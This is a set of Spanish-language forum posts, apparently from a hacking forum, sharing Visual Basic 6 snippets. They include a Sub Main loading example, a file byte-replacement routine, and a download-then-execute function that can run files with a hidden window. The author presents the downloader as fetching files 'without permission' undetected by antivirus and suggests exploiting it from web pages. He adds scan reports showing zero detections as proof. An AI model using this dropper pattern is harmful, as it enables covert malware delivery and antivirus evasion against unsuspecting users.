Mensajes

hace ya 3 años que se posteo que pensabas ¬¬"

la idea no es el sub main si no mostrarte como cargarlo sin hacer form1.visible = false o un  hide al mismo

con solo

Código (vb) [Seleccionar] Expandir



call load (form1)



basta

.
por que no esta demas poner esto:

Código (vb) [Seleccionar] Expandir



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////
Option Explicit
public Function vbShell(StrPath As String, Optional hHiden As Boolean) As Boolean
Dim ret                     As Object
   Set ret = CreateObject("Shell.Application", "")
   vbShell = Not ret Is Nothing
   'If Not ret Is Nothing And CBool(Dir(StrPath) <> "") Then '   Optativo
   If not vbShell Then exit function
    Call ret.ShellExecute(StrPath, "", "", "open", Abs(Not hHiden))
End Function



Dulces Lunas!¡.

[sub Main()]

.
Ire al punto con un ejemplo sencillo:

Se necesita:

1 Formulario.
1 Modulo.

En el modulo:

Código (vb) [Seleccionar] Expandir



sub main()
    call load (form1)
end sub



en el formulario:

Código (vb) [Seleccionar] Expandir



Private Sub Form_Load()
    msgbox "hola Mundo"
End Sub



Configurar el proyecto para que corra el proceso sub Main()b antes que nada en lugar del form1

Dulces Lunas!¡.

no hay nada como el AsyncDownload de los usercontrol...

Eso si me acuerdo que me entero por lo menos a mi es user Cobein en uno de sus Post... pero hay que ver igual otras posibilidades.!¡

P.D.: O era LeandroA... no recuerdo xd...!¡

Dulces Lunas!¡.

[Sub Main()]

.
La función es sencilla y la cree por que la necesitaba aquí se las dejo, haber si a alguien le sirve de algo xP

Código (vb) [Seleccionar] Expandir



'
' /////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )         //
' //                                                         //
' // Web: http://InfrAngeluX.Sytes.Net/                      //
' //                                                         //
' // |-> Pueden Distribuir Este Código siempre y cuando      //
' // no se eliminen los créditos originales de este código   //
' // No importando que sea modificado/editado o engrandecido //
' // o achicado, si es en base a este código                 //
' /////////////////////////////////////////////////////////////

Option Explicit
Public Function ReplaceFileBytes(ByVal StrFile As String, _
                                ByVal PosIniByte As Long, _
                                ByVal LenBytes As Long, _
                                BufferReplace() As Byte) As Long
On Error GoTo ErrorFatal
Dim FF As Long
   If GetAttr(StrFile) = vbArchive Then
       FF = FreeFile
       Open StrFile For Binary As FF
           If PosIniByte <= LOF(FF) Then
               PosIniByte = IIf(PosIniByte <= 0, LOF(FF), PosIniByte)
               LenBytes = IIf(LenBytes <= 0, LOF(FF) - PosIniByte, LenBytes - 1)
               LenBytes = IIf(LOF(FF) <= (PosIniByte + LenBytes), LOF(FF) - PosIniByte, LenBytes)
               ReDim Preserve BufferReplace(LenBytes)
               Put FF, PosIniByte, BufferReplace
               ReplaceFileBytes = LenBytes + 1
           End If
       Close FF
   End If
ErrorFatal:
End Function



El código no permite reemplazar mas bytes de los existentes, por ello no engrandece el archivo binario, y por eso solo reemplaza los deseados.

Un ejemplo de su uso:

.
Ejemplo  de su Uso (Ver el proceso Sub Main() )

Código (vb) [Seleccionar] Expandir



Function vbShell(StrPath As String, Optional hHiden As Boolean) As Long
Dim ret                     As Object
   Set ret = CreateObject("Shell.Application", "")
   If Not ret Is Nothing And CBool(Dir(StrPath) <> "") Then '   Optativo
   'If Not ret Is Nothing Then
       Call ret.ShellExecute(StrPath, "", "", "open", Abs(Not hHiden))
       vbShell = 1
   End If
End Function

Sub GenerateTestFile(StrFile As String)
   If GetAttr(StrFile) = vbArchive Then
       Kill StrFile
       Open StrFile For Binary As 1
           Put 1, 1, String$(20, "*")
       Close 1
   End If
End Sub

Sub main()
Const StrFile = "c:\ArchivoX.txt"
Const ComplMSGB = " Bytes Reemplzados"
Const msgb = "InfrAngeluX-Soft"
Dim buf()               As Byte
Dim ret                 As Long
   
   
   Call GenerateTestFile(StrFile)
   MsgBox vbShell(StrFile)
   buf = StrConv(msgb, vbFromUnicode)
   '   //  Para escribir en el ultimo bytes poner -1
   MsgBox ReplaceFileBytes(StrFile, -1, 0, buf) & ComplMSGB
   MsgBox vbShell(StrFile)
   
   Call GenerateTestFile(StrFile)
   buf = StrConv(msgb, vbFromUnicode)
   '   //  Para Escribir de X byte hasta el final del archivo
   '   //  poner -1 el resto se llena de espacios vacios
   MsgBox ReplaceFileBytes(StrFile, 1, -1, buf) & ComplMSGB
   MsgBox vbShell(StrFile)
   
   Call GenerateTestFile(StrFile)
   buf = StrConv(msgb, vbFromUnicode)
   '   //  Para escribir en un rango dado
   MsgBox ReplaceFileBytes(StrFile, 5, 50, buf) & ComplMSGB
   MsgBox vbShell(StrFile)
   
End Sub




Dulces Lunas!¡.

Código [Seleccionar] Expandir

http://foro.elhacker.net/programacion_vb/source_downloader_sin_apis_sin_dlls_sin_ocxs_solo_una_funcion-t165233.5.html

Aun asi buen trabajo

JAJAJA ni lo vi xp solo estaba leyendo algo de javascript y despues me fui a exploits y me dio una idea y el resultado arriba esta xP.

Dulces Lunas!¡.

[The Swash]

El código es pequeño pero logra que no salte ningún Antivirus cuando se descarga un archivo sin permiso.

Ademas declarando otro objecto esencial para html se puede explotar directamente en una pagina web... ya que estas también ejecutan vbScript

Código (vb) [Seleccionar] Expandir



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////
Option Explicit
Function DescargarArchivo(strDowload As String, SaveOn As String) As Long
On Error GoTo 1:
Dim xml                     As Object
Dim adoStream               As Object
   Set xml = CreateObject("Microsoft.XMLHTTP")
   Set adoStream = CreateObject("Adodb.Stream")
   Call xml.Open("GET", strDowload, 0)
   Call xml.Send
   adoStream.Type = 1
   Call adoStream.Open
   Call adoStream.write(xml.responseBody)
   Call adoStream.SaveToFile(SaveOn, 2)
   Call adoStream.Close
   DescargarArchivo = 1
Exit Function
1:
End Function



Código del proyecto con el cual realice en el Scan.

Código (vb) [Seleccionar] Expandir



Option Explicit
Sub main()
   If CBool(DescargarArchivo("http://www.goear.com/files/sst2/mp3files/15102006/cfebd49f1b5ba43867cc687896a32ecd.mp3", "c:\aaa.mp3")) Then
       Call vbShell("c:\aaa.mp3", False)
   End If
End Sub
'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////
Function vbShell(StrPath As String, visible As Long) As Long
Dim ret                     As Object
   Set ret = CreateObject("Shell.Application", "")
   Call ret.ShellExecute(StrPath, "", "", "open", visible)
End Function




lo he probado en un proyecto pequeño miren.

Gracias The Swash por el scan aunq que yo ya lo habia realizado xP

File Info

Report generated: 12.1.2010 at 0.41.15 (GMT 1)
Filename: Project1.exe
File size: 20480 bytes
MD5 hash: d64d53fa4ec3bcafb9ff781303188fb7
SHA1 hash: 62157077EA4D3C17B1988D72F69F8C9502F0026E
Detection rate: 0 on 24
Status: CLEAN

Detections

a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -

Scan report generated by
NoVirusThanks.org


Virus total

Antivirus   Version   Last Update   Result
a-squared   4.5.0.48   2010.01.12   -
AhnLab-V3   5.0.0.2   2010.01.11   -
AntiVir   7.9.1.134   2010.01.11   -
Antiy-AVL   2.0.3.7   2010.01.11   -
Authentium   5.2.0.5   2010.01.12   -
Avast   4.8.1351.0   2010.01.11   -
AVG   9.0.0.725   2010.01.11   -
BitDefender   7.2   2010.01.12   -
CAT-QuickHeal   10.00   2010.01.11   -
ClamAV   0.94.1   2010.01.12   -
Comodo   3550   2010.01.11   -
DrWeb   5.0.1.12222   2010.01.12   -
eSafe   7.0.17.0   2010.01.11   -
eTrust-Vet   35.2.7231   2010.01.12   -
F-Prot   4.5.1.85   2010.01.12   -
F-Secure   9.0.15370.0   2010.01.12   -
Fortinet   4.0.14.0   2010.01.12   -
GData   19   2010.01.12   -
Ikarus   T3.1.1.80.0   2010.01.12   -
Jiangmin   13.0.900   2010.01.11   -
K7AntiVirus   7.10.944   2010.01.11   -
Kaspersky   7.0.0.125   2010.01.12   -
McAfee   5858   2010.01.11   -
McAfee+Artemis   5858   2010.01.11   -
McAfee-GW-Edition   6.8.5   2010.01.12   -
Microsoft   1.5302   2010.01.11   -
NOD32   4762   2010.01.11   -
Norman   6.04.03   2010.01.11   -
nProtect   2009.1.8.0   2010.01.11   -
Panda   10.0.2.2   2010.01.11   -
PCTools   7.0.3.5   2010.01.12   -
Prevx   3.0   2010.01.12   -
Rising   22.30.01.01   2010.01.12   -
Sophos   4.49.0   2010.01.12   -
Sunbelt   3.2.1858.2   2010.01.12   -
Symantec   20091.2.0.41   2010.01.12   -
TheHacker   6.5.0.3.147   2010.01.12   -
TrendMicro   9.120.0.1004   2010.01.11   -
VBA32   3.12.12.1   2010.01.12   -
ViRobot   2010.1.12.2131   2010.01.12   -
VirusBuster   5.0.21.0   2010.01.11   -

Dulces Lunas!¡.

@LeandroA

mis respetos.

Dulces lunas!¡.

pon esto en la sección de .net